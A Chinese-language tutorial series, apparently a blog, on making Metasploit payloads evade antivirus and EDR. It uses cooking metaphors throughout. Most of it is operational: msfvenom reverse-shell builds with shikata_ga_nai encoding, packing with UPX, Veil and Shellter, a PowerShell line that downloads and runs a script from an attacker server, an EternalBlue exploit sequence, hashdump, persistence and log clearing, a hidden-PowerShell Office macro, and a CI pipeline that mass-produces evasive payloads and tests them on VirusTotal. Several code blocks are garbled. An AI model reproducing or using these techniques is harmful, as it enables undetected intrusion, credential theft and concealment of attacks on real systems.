聊聊 Metasploit 免殺

各位小伙伴們，晚上好！

咱們今天打開宵夜“安全食材箱”，聊聊滲透測試繞過殺毒（免殺）的那些門道。你可以把免殺理解為——深夜做宵夜時，家里有人睡覺，但你非得去廚房整點美食，還不能讓“安全大媽”（殺毒軟件）發現動靜，不然飯菜沒吃上，還可能挨一頓說教。

今天，我們就用做宵夜挑食材來比喻，搞清楚免殺的原理和檢測機制，讓每位小伙伴都能把“安全鍋”玩明白，輕松整出無人察覺的美味payload！

第一節：免殺的本質是什么？（用廚房挑食材來解釋）

想象一下，你半夜餓了，廚房冰箱里有好幾種食材（各種payload載荷），但你得避開廚房的感應燈（殺毒軟件的監控）。你用普通的炸雞、火腿，容易觸發感應燈，直接被抓包。但如果你懂得挑選“隱蔽食材”（改造payload、混淆特征），比如用昨晚剩的米飯包點咸菜，裹點蛋液（變形處理），不僅填飽肚子，還能悄悄溜回臥室，沒人發現。

在這里插入圖片描述

白話解釋

免殺：就是讓你的攻擊載荷（payload）能避開殺毒和防護軟件的查殺，順利運行，像深夜做宵夜一樣不被家人發現。
殺毒軟件檢測機制：主要靠特征碼掃描（看你是不是和已知病毒長得像）、行為檢測（你是不是做了可疑操作）、云查殺（聯網查可疑文件）。
免殺方式：可以是改臉換裝（編碼混淆）、潛行埋伏（內存注入）、加密外殼（殼保護）、個性化定制（自編Payload）等。

第二節：常見檢測機制一覽（廚房的“安全大媽”）

殺毒檢測方式	生活比喻	技術解釋	典型代表
特征碼檢測	看食材外觀	靜態比對文件中的已知代碼片段（病毒簽名）	瑞星、江民
行為監控	聽廚房動靜	運行時觀察進程操作（如注冊表、內存操作等）	火絨、360
云查殺	遠程喊人來檢查	上傳可疑樣本到云端進行AI或專家分析	騰訊、金山
白名單/黑名單機制	只讓自家食材進廚房	只允許已認證軟件運行，陌生程序直接拉黑	企業級管控

第三節：免殺原理深度拆解（每種“食材處理”方法都有哪些）

1. 編碼混淆（食材變形術）

比如把生肉切成肉末裹進餃子皮里，別人就看不出是啥了。
技術上常用 msfvenom 進行多層編碼，或者自己用Python腳本替換關鍵字。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

這里-e x86/shikata_ga_nai -i 5就是反復“切剁混合”，讓原始肉（惡意代碼）徹底變形。

2. 外殼加密（加一層外包裝）

類似外賣小哥給你加一層錫紙袋，拆之前誰都看不出里面是什么。
常用UPX、Veil、Shellter等加殼工具。

3. 內存注入（直接把美食塞進嘴里）

不落地存儲，直接“喂進嘴”，不給冰箱和監控機會檢查。
技術上利用PowerShell、Cobalt Strike Beacon、Reflective DLL Injection等。

4. 自定義Payload（DIY秘制食譜）

用C/C++/Go寫自己的載荷，避開通用特征碼，像家庭小灶，外面吃不到。

坑位預警（常見誤區）

迷信免殺工具一步到位：萬能殼/萬能編碼只是基礎，批量生成的payload容易被AI引擎批量拉黑。
忽略行為檢測：只變形不收斂行為，操作系統日志/監控一樣能抓到。
本地查殺和云查殺一起測：有的工具只本地過關，上云即抓。

知識加油站

小貼士：
免殺不是單靠“外觀變形”，還要控制載荷行為。想想你小時候偷吃東西，既要換包裝，還得悄悄吃，不然光靠口罩是遮不住香味的！

動手實驗室

【實操挑戰】

用msfvenom生成一份普通的meterpreter反彈shell payload，在本地用多款殺毒軟件檢測。
嘗試增加編碼參數、加殼參數，再次檢測，看免殺效果變化。
總結：哪種方法最容易被查殺？原因是什么？

殺毒軟件越來越難騙，原理到底在哪？

你還記得小時候，家里裝的瑞星小獅子、卡巴斯基之類的殺毒軟件吧？以前只要給payload換個殼、改個名字，經常就能混過去。但現在——不管你怎么切菜、怎么包餃子，廚房的“安全大媽”就是能把你抓住。為啥？

🍱 1. “舊時代”殺毒：靠臉識人，特征碼查殺

最早的殺毒軟件，相當于小區門衛大爺只會“刷臉”——

文件指紋：每種病毒/木馬都像是有一張照片（特征碼、MD5、關鍵字節序列）。
查殺方式：掃描所有進來的文件，看是不是和“通緝名單”里的人臉吻合。

免殺技巧：只要你“化個妝”、改個發型（代碼混淆、加殼、改殼、編碼器等），大爺基本認不出來，輕松混進去。

🍳 2. “新時代”殺毒：加裝攝像頭，行為檢測上崗

門衛越來越專業，不再光看臉，還會“盯動作”：

行為檢測：實時監控新進廚房的所有“可疑人員”是不是在偷米、加辣、亂動鍋鏟（API調用、進程注入、內存讀寫、注冊表/文件操作等）。
沙箱技術：專門設個小黑屋，把新來的“食材”放進去，錄下它怎么折騰，一旦發現異常動作，直接攔截。

免殺技巧：要“學會裝乖”——不要一進屋就滿地亂跑，要等“安全大媽”巡視后再動手，或者提前偵測自己是不是在沙箱環境。

🍜 3. “AI時代”殺毒：智能巡邏隊，深度學習模型加持

現在的殺毒軟件，就像物業引入了AI巡邏機器人，不僅能識別人臉、行為，還能自我學習、越用越聰明：

靜態+動態雙殺：既看你的外貌（特征碼/指紋），又盯你的動作（行為/API/內存痕跡），還會把這些數據統一喂給AI大模型。
AI查殺機制：機器學習模型每天“吃”下億萬樣本，包括最新病毒變種、免殺工具生成品、企業環境中出現的未知程序，通過特征聚類、代碼語義分析、異常行為判別、文件流量分析，“活學活用”。
云查殺/實時聯動：本地發現可疑東西，會上傳云端“總部大腦”，一旦判定危險，幾分鐘內全國所有電腦都能更新查殺規則。

免殺難點：你的“化妝術”和“行為偽裝”對AI來說，只要有“基因相似度”或邏輯相近、行為鏈像是木馬操作，都很難徹底騙過。而且“云查殺”讓你失去本地免殺的最后一塊陣地。

🧑?🏫 技術原理詳解

靜態查殺機制

特征碼（Signature）：文件內特定字節序列。
哈希比對：MD5/SHA-1/SHA-256。
啟發式掃描：代碼結構/關鍵API調用順序等模式。

動態查殺機制

進程行為鏈分析：如explorer.exe突然創建新服務，或者powershell.exe調用wget下載可執行文件。
內存取證：檢測惡意shellcode、Reflective DLL等可疑加載方式。
沙箱分析：可疑文件被自動放入隔離區，模擬點擊、輸入、聯網等全流程運行，收集其全部行為。

AI查殺原理

樣本訓練：海量病毒+正常程序混合大模型訓練。
特征提取：如指令序列、調用圖、行為鏈、字符串相似度。
聚類/對抗學習：自動發現免殺工具的新變種，“一查一大片”。
行為畫像建模：長期跟蹤分析一臺機器（如EDR端點防護），多維數據融合，能判定“慢性木馬”。

?? 坑位預警

以為“殼子”無敵？錯！AI和行為分析完全不靠殼特征。
只在本地殺軟測通？云端一檢測，馬上暴露。
忽略內存注入、進程遷移？現在主流EDR都盯著“內存+API”全鏈路。

🎒 知識加油站

小貼士：
現在免殺絕對是“技術+策略+運氣”的組合。想騙過AI，要隨機、要混淆、要低調、要懂得撤退，還要不斷換路數、跟進趨勢！

💡 思考題

你用過的免殺方法中，有哪些只針對靜態查殺，有哪些能兼顧動態和AI查殺？
“一刀切”的免殺工具未來還有機會嗎？
試著用殺軟自帶的沙箱/云查殺功能，測試你生成的payload分別能存活多久。

📚 延伸閱讀

《AI在惡意代碼檢測中的應用》
火絨安全實驗室技術分析
騰訊安全AI查殺系統架構
Malware Detection with Deep Learning

🏁 一句話總結

殺毒軟件從“刷臉”到“AI云巡邏”，已從單點識別進化到全鏈路畫像——想免殺，只會“化妝”早就不夠，得學會“整容+潛伏+隨機行蹤”，這是一場永無止境的攻防競賽。

工具篇開場

還記得我們前面聊免殺時，廚房里的每種“食材”需要不同的處理方法，其實背后的廚具（工具）同樣關鍵。Metasploit就是黑客界的“頂級廚具套裝”——從切菜刀到榨汁機、再到自動炒鍋，應有盡有。每種工具（模塊）都有特定用途，組合起來能變幻出無數“安全美食”。

接下來，我會帶大家逐層剖析Metasploit的四大核心模塊，結合實戰案例、生活比喻、命令詳解和“安全廚房指南”，幫你玩轉這套神兵利器。

章節導航

Metasploit架構總覽：安全廚房的“功能分區”
Auxiliary（輔助）模塊：廚房里的萬能小家電
Exploit（漏洞利用）模塊：直搗黃龍的主刀廚具
Payload（有效載荷）模塊：各種“美食原材料”
Post（后滲透）模塊：餐后打掃與后廚收尾
Encoder/No-Encoder：料理變形術與調味秘方
模塊選用與組合實戰：一場家庭聚會的烹飪流程
坑位預警與安全規范：別把廚房炸了！

1. Metasploit架構總覽

廚房全景圖

想象你家的廚房：

冰箱存原材料（Payloads）
灶臺用來下鍋（Exploit）
電飯煲、榨汁機負責輔助工作（Auxiliary）
洗碗機、打掃工具負責收尾（Post）
調料盒讓菜色香味俱全（Encoder）

Metasploit把這些模塊靈活組合，變成了全能的“滲透測試工廠”。

2. Auxiliary（輔助）模塊

廚房里的萬能小家電

概念：Auxiliary 模塊就是廚房各種功能小電器——有的專門打蛋（信息收集）、有的專門榨汁（漏洞探測）、還有消毒柜（爆破、嗅探）等，既能單獨用，也能串聯主菜流程。

經典Auxiliary模塊舉例

功能類別	生活類比	典型模塊	用法/說明
信息收集	榨汁機	`auxiliary/scanner/portscan/tcp`	掃描主機端口
弱口令爆破	自動剝蒜機	`auxiliary/scanner/ssh/ssh_login`	SSH口令爆破
嗅探抓包	煮粥鍋	`auxiliary/server/capture/http`	抓取網絡請求
端口監聽	留言錄音機	`auxiliary/server/socks4a`	建立SOCKS代理，反彈流量

實戰小貼士：
比如要掃描某公司內網的Web服務器端口，可以用：

use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

??注意：
Auxiliary通常不會直接“入侵”，但為后續滲透探路、打下基礎。

3. Exploit（漏洞利用）模塊

主刀廚具，直搗“核心食材”

概念：Exploit模塊就是主廚用的“大刀”——刀法精準，直擊食材要害，一擊致命。它利用目標系統的漏洞，把你的Payload送進去。

典型Exploit模塊

功能類別	生活類比	典型模塊	用法/說明
操作系統漏洞	砍骨刀	`exploit/windows/smb/ms17_010_eternalblue`	利用Windows永恒之藍漏洞遠程執行代碼
應用程序漏洞	削皮刀	`exploit/multi/http/struts2_content_type_ognl`	利用Struts2 RCE漏洞
遠程服務漏洞	剪刀	`exploit/unix/ftp/vsftpd_234_backdoor`	利用FTP后門漏洞獲得shell

實戰Tips：
比如拿永恒之藍舉例：

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.20
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 你的IP
exploit

??注意：
Exploit用力過猛容易“切到骨頭”——導致目標宕機、被溯源。滲透測試前一定要獲得授權！

4. Payload（有效載荷）模塊

美食原材料，變形隨心搭配

概念：Payload模塊就像做菜的食材，炒青菜你放肉、放蛋還是放香腸，全看你的需求。不同Payload決定你“入侵成功后”能做什么。

常見Payload類型

類型	生活類比	功能	常用模塊
Command Shell Payload	生菜配火腿	只給你一個命令行	`windows/shell/reverse_tcp`
Meterpreter Payload	獨家招牌菜	擁有全功能遠控、隱蔽能力	`windows/meterpreter/reverse_tcp`
Stager/Stage Payload	分階段做鍋貼	先占點小位置，再分步注入更大功能	`windows/meterpreter/reverse_tcp`（分段）
Custom Payload	DIY家常菜	用腳本語言/自定義代碼寫的個性Payload	`generic/custom`

實戰Tips：
經典命令：

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的IP
set LPORT 4444

??注意：
Payload內容越復雜，越容易被殺毒攔截。結合“免殺技巧”一起用，效果更佳。

5. Post（后滲透）模塊

餐后打掃，廚房收尾的秘密武器

概念：Post模塊就是你宵夜吃完后的清理工——負責翻冰箱、收垃圾、藏指紋、偷鑰匙串（哈希），還能順道打包去鄰居家串門（橫向滲透）。

常見Post模塊

功能類別	生活類比	典型模塊	用法/說明
信息收集	翻冰箱	`post/windows/gather/enum_applications`	列目標機應用
密碼抓取	偷鑰匙串	`post/windows/gather/hashdump`	導出所有賬號哈希
橫向滲透	串門鄰居家	`post/windows/gather/enum_shares`	枚舉內網共享資源
提權輔助	換衣服冒充家主	`post/windows/escalate/getsystem`	自動嘗試權限提升

實戰Tips：

use post/windows/gather/hashdump
set SESSION 1
run

6. Encoder/No-Encoder：料理變形術與調味秘方

Encoder就像各種刀工和調料，能把食材切成不同花樣，還能掩蓋氣味（特征碼）。
經典如x86/shikata_ga_nai，多層編碼讓payload難以被查殺。
但“調料下多了”可能影響菜品口感（程序穩定性）——要平衡。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -e x86/shikata_ga_nai -i 5 -f exe -o test.exe

7. 模塊選用與組合實戰

舉例：

一次完整滲透流程
信息收集 → 漏洞探測（Auxiliary）→ 利用漏洞（Exploit）→ 下Payload → 成功上線后后滲透（Post）

實際操作就像做一桌豐盛宵夜：

先切配（信息收集）
再熱鍋炒菜（漏洞利用）
加菜碼味（Payload）
最后收拾廚房、打包外賣（Post模塊+橫向滲透）

8. 坑位預警與安全規范

坑位一：Auxiliary模塊沒用對，信息收集不到位，后續全靠猜，成功率大大降低。
坑位二：Exploit不匹配目標，容易宕機暴露身份。
坑位三：Payload太大或不免殺，容易被端掉鍋。
??法律邊界：所有實操必須獲得授權，不得用于未授權環境！安全第一，職業底線。

動手實驗室

挑戰1：

選擇一個你常用的Auxiliary模塊，結合Exploit和Payload，完成一次“靶機滲透”，并用Post模塊收集哈希信息。

挑戰2：

嘗試用不同Encoder編碼生成Payload，測試免殺效果并記錄檢測結果。

🍲 1. Auxiliary模塊底層原理與免殺思路

📖 原理拆解

Auxiliary模塊并不直接“入侵”，而是做信息收集、嗅探、爆破、代理等工作。比如端口掃描、服務指紋識別、口令爆破，這些本質就是在模擬合法用戶操作。

技術底層：

多數Auxiliary模塊基于Socket編程實現（比如TCP/UDP端口掃描）
有些用到協議解析、模擬（如HTTP/FTP/SMB/LDAP等），甚至能自動識別目標服務版本
爆破模塊則利用高并發短連接模擬“暴力登錄嘗試”

🥷 免殺細節

Auxiliary模塊被查殺的概率很低，風險主要在爆破、嗅探環節：

暴力爆破：連續高頻密碼嘗試易被IDS/EDR檢測，可以降速+隨機化用戶名密碼。
嗅探掃描：大流量端口掃描會被防火墻/流量審計攔截，建議慢掃、分批、結合端口白名單。
真實世界建議：Auxiliary模塊要“扮演好普通廚房訪客”，避免動作太大、太密集——否則“安全大媽”會立刻注意到廚房異常。

🔪 2. Exploit模塊底層原理與免殺細節

📖 原理拆解

Exploit模塊是主動進攻主廚刀具。

大多數Exploit由漏洞觸發+惡意payload注入兩步組成
底層往往利用緩沖區溢出、命令注入、文件上傳、反序列化等技術
典型操作：通過構造特殊請求包（HTTP、SMB、RPC等）讓目標執行你傳遞的Payload代碼
支持“多平臺/多種利用路徑”，如多種協議、不同操作系統分支

在這里插入圖片描述

🥷 免殺細節

Exploit模塊本身被查殺概率小，真正容易被“逮住”的是你注入的Payload內容：

載荷顯特征：直接用msf默認Payload（尤其是meterpreter、shell）幾乎100%被查殺。
免殺核心技巧：
1. 自定義編碼（Encoder）：用msfvenom多層編碼，把payload結構“攪碎”。如：
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe > myevil.exe
```
2. 外殼封裝：加UPX、Veil、Shellter等工具的殼，二次變形掩蓋特征碼。
3. 手寫Payload變種：用C、Python、Go、PowerShell等自己編譯，避開通用規則。
4. 反沙箱檢測：增加時間/環境判斷，避免在虛擬機/分析沙箱中立即暴露。
5. 反EDR技巧：
  - 內存加載，避免落地文件（如Reflective DLL Injection、powershell加載）
  - 加入睡眠/延遲執行、混淆命令等操作，降低檢測概率。

?? 坑位預警：別迷信某一類編碼或外殼，安全廠商數據庫和AI模型會“追更”，需不斷更換免殺手法。

🥘 3. Payload模塊底層原理與免殺細節

📖 原理拆解

Payload是你真正“端進去的菜”——能干的事很多：

命令行shell：執行單條命令的“快餐菜”，功能簡單，但隱蔽性強
Meterpreter：全能型payload，功能多（上傳/下載/攝像頭/提權），但特征明顯，易被查殺
Staged Payloads：分階段加載，初始只有“門鑰匙”，上線后再加載完整功能（如鍋貼皮+餡分步下鍋）
自定義Payload：你DIY的“家常菜”，難以被特征碼直接識別

🥷 免殺細節

主流殺軟的查殺邏輯：
- 靜態特征碼匹配
- 行為檢測（進程注入、網絡流量、API調用）
- 云端AI樣本比對
Payload免殺常用技巧：
1. 多重編碼：參考exploit部分
2. 加殼變形：參考exploit部分
3. 內存執行（Fileless）：用PowerShell、C#、msbuild等內存加載，不落地文件
4. 自定義免殺Payload：
  - 用msfvenom只生成shellcode，然后結合自己編寫的dropper或者loader
  - 偽裝為合法程序流程（如DLL側載、Office宏、計劃任務）
5. 網絡行為偽裝：
  - 用HTTPS、DNS隧道等隱蔽流量（如Cobalt Strike Beacon的malleable C2）

實操命令：

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=你的公網IP LPORT=端口 -f exe -e x86/shikata_ga_nai -i 5 -o pay.exe

🧹 4. Post模塊底層原理與免殺細節

📖 原理拆解

Post模塊是“滲透成功后”進行的各種操作：

信息收集（如賬號哈希、系統信息、敏感文件）
持久化（寫注冊表、添加計劃任務、自啟動）
橫向滲透（發現/攻擊內網其他主機）
清理痕跡（清日志、刪除自己、遷移進程）

底層實現：

大部分是調用目標操作系統本地API/命令行（比如powershell、cmd、WMI等）
有的模塊通過自帶腳本遠程執行（如python、vbscript等）

🥷 免殺細節

動作越隱蔽越好：用本地API、系統自帶命令（如net user、reg add、schtasks等）最難查殺
注意規避行為檢測：
- 持久化時不要使用常見“病毒自啟動”方式（如run、runonce注冊表鍵），可用計劃任務、服務劫持等
- 橫向滲透要適當降低流量、分批操作，避免批量掃描
清痕跡很重要：
- 用Post模塊的clearev等清日志
- 隱蔽用完的工具，及時kill自己drop的進程

🥄 5. Encoder（編碼器）原理與免殺本質

編碼器本質：就是“切菜換刀法”，把原本payload代碼按特定算法重新打亂排序，重組還原。
常見編碼器：x86/shikata_ga_nai（隨機變形）、cmd/powershell_base64（偽裝字符串）、x64/xor_dynamic（動態異或）等

免殺細節：

編碼只能防低級靜態查殺，對AI行為分析和高級引擎作用有限
多層混合編碼更難被直接識別，但可能影響payload穩定性
建議結合殼、內存加載、流量混淆等多重免殺技術

🧑?🏫 知識加油站

小貼士：
免殺就是在和“安全大媽”玩捉迷藏——只會變臉不夠，要會走位、轉移、甚至扮成“家里人”。

殺軟的檢測技術隨時在升級，想免殺長期穩定，一定要多手段輪換，還要跟進最新查殺趨勢！

💥 動手實驗室

實驗1：

用msfvenom為一個常見Exploit生成默認payload和多層編碼payload，分別測試殺軟查殺率
用Veil/Shellter等工具再次二次免殺，測試本地/云查殺結果
嘗試自己寫一個簡單的C語言Loader加載payload shellcode，和msfvenom生成exe免殺率對比

實驗2：

用post/windows/gather/hashdump收集哈希
用post/windows/manage/persistence寫持久化任務，并嘗試用不同方式（注冊表/計劃任務/服務）設置，分析哪種最難被查殺/溯源

📚 延伸閱讀

Rapid7 Exploit Development Guide
Payload免殺頂級技巧集
Veil-Framework官方指南
Shellter官方文檔
EDR攻防趨勢與實戰分析（知乎）

🏁 小結

本節我們拆穿了“黑廚具”的核心奧秘，每一類Metasploit模塊背后都有自己的免殺技巧與防御升級對策。安全攻防是一場持久戰，沒有萬能神兵，只有不斷進化！

實戰篇 | 從編碼混淆到內存注入的免殺全流程

🍜 場景設定

你是一名紅隊“深夜廚神”，目標是：生成一份能過主流殺毒查殺的Meterpreter遠控載荷，并順利上線。

我們用三步走：

編碼混淆——初步“改臉換裝”，避開傳統特征碼查殺
多層變形/加殼——變裝升級，迷惑靜態掃描+弱AI
內存注入——不落地、躲貓貓，躲過動態/AI查殺（Fileless）

第一步：編碼混淆（Payload“化妝術”）

比喻：
普通payload就像標準化妝品，一上臉大家都認識。編碼混淆=重畫五官，換發型、戴口罩，讓“安全大媽”認不出。

實操命令

目標：生成多重編碼的Meterpreter載荷

msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 \
-e x86/shikata_ga_nai -i 7 -f exe -o meterpreter_7x.exe

-e x86/shikata_ga_nai：經典免殺編碼器（支持多層混淆）
-i 7：迭代7次，效果明顯提升
-f exe：生成可執行文件
-o：輸出文件名

??注意

編碼層數越高，文件越難查殺，但穩定性可能變差；實際測試建議3~7層較平衡。

第二步：加殼/二次變形（“穿外套+假身份”）

比喻：
你已經化了濃妝，但大媽還可能通過你的衣服（PE頭/殼特征）和走路方式（API調用）來識別你。加殼/變形，就是再套一層衣服，甚至偽裝成外賣小哥/快遞員。

主流工具

UPX（簡單加殼，防低端查殺）
```
upx --best --lzma meterpreter_7x.exe
```
Veil Framework（高級免殺生成器，支持多種Payload變種/加殼/腳本偽裝）
```
veil
# 選擇Payload類型和免殺方式，一鍵生成
```

Shellter（動態加殼、插入合法PE程序流程中，防PE特征查殺）

wine shellter.exe
# 選擇auto mode，嵌入你生成的payload到合法程序

?? 坑位預警

UPX被很多殺軟直接識別為殼，需要二次殼脫殼偽裝
Veil/Shellter一定要選低特征、偽裝性強的模板
所有變形文件都要本地+云端查殺雙測試！

第三步：內存注入/文件無痕化（“不落地吃宵夜”）

比喻：
終極大招！不是把飯菜端到客廳吃，而是直接在廚房現吃，吃完立刻收拾干凈，什么垃圾也不落地。即：payload只存在內存中，不落盤。

技術路線

1. PowerShell一把梭（Invoke-Shellcode）

利用PowerShell加載Shellcode到內存，不生成落地文件，適合繞過查殺：

IEX (New-Object Net.WebClient).DownloadString('http://你的VPS/shell.ps1')

shell.ps1內容可以用 Invoke-Shellcode 工具生成。

2. C#免殺加載器（自編或工具自動化）

自己寫一個C#小程序，內嵌msfvenom生成的raw格式shellcode，利用VirtualAlloc和CreateThread等API動態加載。
可以用 Donut 工具，把Payload變成可直接內存執行的shellcode blob，C#小程序直接調用。

3. msbuild惡意工程（白利用）

把payload藏在XML工程文件，用msbuild.exe編譯運行，進程可信。
參見 msbuild免殺技巧

4. Dll側載/服務劫持/計劃任務

用合法程序加載你的DLL，或者通過計劃任務把powershell腳本塞到內存里執行。

實操流程小結

信息收集 → Payload生成（編碼/變形/加殼）→ 本地云查殺測試 → 免殺成功 → 利用Exploit/社會工程送入目標 → 文件落地/內存注入上線 → Post-Exploitation操作

🎒 知識加油站

小貼士：
真正的免殺載荷，往往是“多手段疊加”+“隨機輪換”+“分批低調投放”，而且一定要嚴格本地+云端雙重檢測。

?? 法律紅線

絕不允許在未授權環境和目標上測試、投遞payload！
一切實戰僅限于學習、授權紅藍對抗、合法滲透測試！

💡 動手實驗室

實驗一

用msfvenom生成多層編碼的Meterpreter載荷（raw格式和exe格式各一份）。
分別用UPX、Veil、Shellter等工具加殼和變形，記錄查殺情況。
將raw shellcode用Invoke-Shellcode或自寫C#加載器在沙箱內存執行，監控殺軟反應。
最終比對三種方式的免殺率和上線穩定性，總結最優組合。

實驗二

選用msbuild免殺、計劃任務隱藏、自定義服務加載等方法嘗試上線。
用主流EDR和云查殺檢測其查殺效果。

🏁 一句話總結

真正的免殺，是“化妝+變身+隨時跑路”的組合拳。只有不斷演化、學會疊加、快速驗證，才能在AI查殺時代立于不敗！

一、多場景實戰演練

場景1：Windows 企業域內滲透

目標環境：Windows Server 2016 + 域控 + EDR
實戰要點：

信息收集：auxiliary/scanner/smb/smb_version + post/windows/gather/enum_domain
初步上線：生成多層編碼+UPX加殼的 Meterpreter EXE
文件落地：先小批量投放到文件服務器，驗證查殺率
內存注入：用 PowerShell Invoke-Shellcode 直連域控，繞過文件審計
后滲透：post/windows/gather/hashdump 拉域用戶哈希 → run post/windows/manage/persistence 留隱蔽后門

# PS1 內存加載示例
IEX (New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')
Invoke-Shellcode -Force -Shellcode ([System.Convert]::FromBase64String('BASE64_SHELLCODE'))

小貼士：在域環境中，強烈建議將流量偽裝成合法Kerberos/SMB調用，避免EDR異常告警。

場景2：Linux 關鍵業務服務器

目標環境：Ubuntu 20.04 + Web 應用 + ClamAV + OSSEC
實戰要點：

WebShell 持久化：先上傳簡單 PHP 反彈腳本，測試ClamAV查殺情況
Shellcode 內存執行：用Donut生成 ELF shellcode，再在目標上 chmod +x loader 內存加載
橫向滲透：post/linux/gather/enum_configs 枚舉 SSH 密鑰 → ssh_login 爆破鄰居主機
清痕跡：定時 rm -f /tmp/loader + 日志清理腳本

// C Loader 偽代碼
void main(){ void* buf = VirtualAlloc(...); memcpy(buf, shellcode, size); ((void(*)())buf)(); 
}

坑位預警：ClamAV 對 UPX+shikata 大多能“一刀秒”，必須用自編loader或Donut。

場景3：Web 應用滲透 + Office 宏落地

目標環境：Windows 10 客戶端 + Office 2019 + Defender
實戰要點：

社會工程：郵件投遞帶有 XLM 宏的 Excel，測試 Defender/ATP 對宏的查殺
宏內存加載：Macro 腳本調用 mshta 或 powershell -enc ，將 shellcode 載入內存
下載器混淆：將下載器腳本用 Base64+XOR 混淆，再在宏里解碼執行
持久化：用 WMI Event Subscription 實現開機執行

' Excel Macro 示例
Sub AutoOpen()Dim sc As Stringsc = Decode("BASE64_XOR_PAYLOAD")CreateObject("WScript.Shell").Run "powershell -nop -w hidden -c "& sc
End Sub

注意：Office 宏默認高危，務必先在“釣魚實驗室”測試，多版本多平臺驗證。

二、常見免殺失誤大盤點

序號	失誤類型	原因分析	應對策略
1	只走編碼/只走加殼	依賴單一手段，面對動態/AI查殺無能為力	多手段疊加：編碼 + 加殼 + 內存注入
2	本地測試一錘定音	只在本地低端殺軟測通，云查殺或EDR一上線即掛	本地+云查殺+EDR沙箱三重驗證
3	忽略環境差異	Windows 與 Linux、境外與國內、企業級與個人版差別大	針對不同平臺環境專門調優，無差異化直接復用易掛
4	行為檢測遺漏	只關注文件，忽略進程注入、網絡行為、內存讀寫	加入延遲執行、正當進程偽裝、流量偽裝
5	持久化方案單一	都用 run persistence，容易被安全評級識別	多種持久化方式輪換：計劃任務、服務劫持、WMI
6	日志清理不到位	清了事件日志，卻沒清Application/PowerShell日志	全面日志清理：`wevtutil` + PowerShell 遠程日志
7	忽視內存取證	生成payload但落地后未檢測內存殘留	使用Heap/PEB清理腳本，進程退出前覆蓋Shellcode

三、動手實驗室

三環境驗證：針對上面三個場景，各自生成不同類型載荷，進行本地、云查殺、EDR 沙箱測試，記錄各平臺檢測結果。
失誤復盤：復盤自己生成的payload，找出遺漏的防御點，并用表格匯總改進前后效果。
腳本自動化：編寫一段 Bash/Python 腳本，自動化執行編碼 → 加殼 → 云查殺接口查詢 → 報告生成的全流程，提升免殺效率。

四、延伸閱讀

PayloadsAllTheThings·多場景免殺實踐
Cobalt Strike Malleable C2 配置深度解析
EDR 逃逸與對抗技術盤點
Donut–Shellcode 轉換工具詳解

小結

多場景實戰+失誤盤點，是徹底搞懂免殺技術、打通思路的關鍵。不同環境有不同痛點，只有反復演練、不斷復盤，才能在AI時代的攻防競賽中保持領先！

一、免殺全自動化流水線搭建

1.1 為什么要流水線？（總述）

手工去做編碼→加殼→測試→反饋→再改的流程，效率極低，且容易漏掉某個環境的檢測。自動化流水線就像現代化生產線：源頭統一管理、每一步自動執行、測試報告實時出爐、出廠即合格，讓你的免殺載荷始終保持高通過率。

1.2 分步詳解

步驟	生活比喻	核心目標	常用工具/技術
1. 代碼管理	食譜中心	統一維護Payload源碼與生成腳本	Git/GitLab/GitHub
2. 持續集成觸發	自動進料裝置	有新提交或定時觸發Pipeline	GitLab CI/CD、Jenkins、GitHub Actions
3. 編碼與加殼	自動切菜+裹衣機	一鍵生成多層編碼 & UPX/Veil/Shellter加殼	msfvenom + Shell腳本 + Veil/Shellter CLI
4. 自動化查殺測試	試吃臺	本地殺軟 + 云端API + EDR沙箱三重檢測	ClamAV、Windows Defender CLI、VirusTotal API、CrowdStrike
5. 報告與反饋	品嘗評分系統	根據測試結果自動生成報告，失敗自動歸檔	Python腳本生成HTML/Slack通知/Jira工單
6. 部署輸出	打包+入庫	合格載荷自動存儲到制品庫，供滲透工具調用	Nexus/Artifactory、私有HTTP服務器
7. 持續監控	生產線巡檢	檢測檢測規則更新后，自動復測并報警	定時Pipeline、郵件/Slack告警

1.2.1 代碼管理與觸發示例（GitLab CI）

stages:- build- test- deployvariables:LHOST: "10.0.0.5"LPORT: "4444"build_payload:stage: buildscript:- msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT \-e x86/shikata_ga_nai -i 5 -f raw > shellcode.bin- donut -f shellcode.bin -o loader.exeartifacts:paths:- loader.exescan_payload:stage: testscript:- bash scripts/scan_local.sh loader.exe- python3 scripts/scan_virustotal.py loader.exedependencies:- build_payloaddeploy_payload:stage: deploywhen: on_successscript:- mv loader.exe /opt/payloads/loader_$(date +%F_%H%M%S).exeonly:- master

1.2.2 自動化查殺腳本示例（scan_local.sh）

#!/bin/bash
# 本地ClamAV掃描
clamscan --no-summary loader.exe
# Windows Defender (在CI Windows Runner上執行)
powershell -Command "Start-MpScan -ScanPath 'loader.exe'"

1.2.3 云端API檢測示例（scan_virustotal.py）

import requests, sys
API_KEY = 'YOUR_VT_API_KEY'
file_path = sys.argv[1]
files = {'file': open(file_path, 'rb')}
resp = requests.post('https://www.virustotal.com/api/v3/files', files=files,headers={'x-apikey': API_KEY})
print(resp.json())

1.3 坑位預警

觸發頻率過高：頻繁跑Pipeline會浪費資源，可配置“按提交分支”或“夜間定時”
憑證安全：CI變量要加密存儲，避免泄露LHOST、VT API Key等敏感信息
環境差異：本地Runner與目標環境（Windows、Linux）差異要提前Mock測試

1.4 知識加油站

小貼士：
免殺流水線不是“把腳本一堆堆塞進去”就完事，核心是持續驗證+快速反饋，遇到檢測升級能立馬迭代。

1.5 動手實驗室

搭建一套GitHub Actions：完成從msfvenom生成→UPX加殼→ClamAV測試→Slack通知的全流程。
擴展測試：集成VirusTotal API，統計檢測率并可視化（輸出HTML表格）。
閉環改進：一旦檢測失敗，自動新建Issue并標記“需改進”，實現DevOps式協作。

二、紅隊體系化作戰流程

2.1 為什么要體系化？（總述）

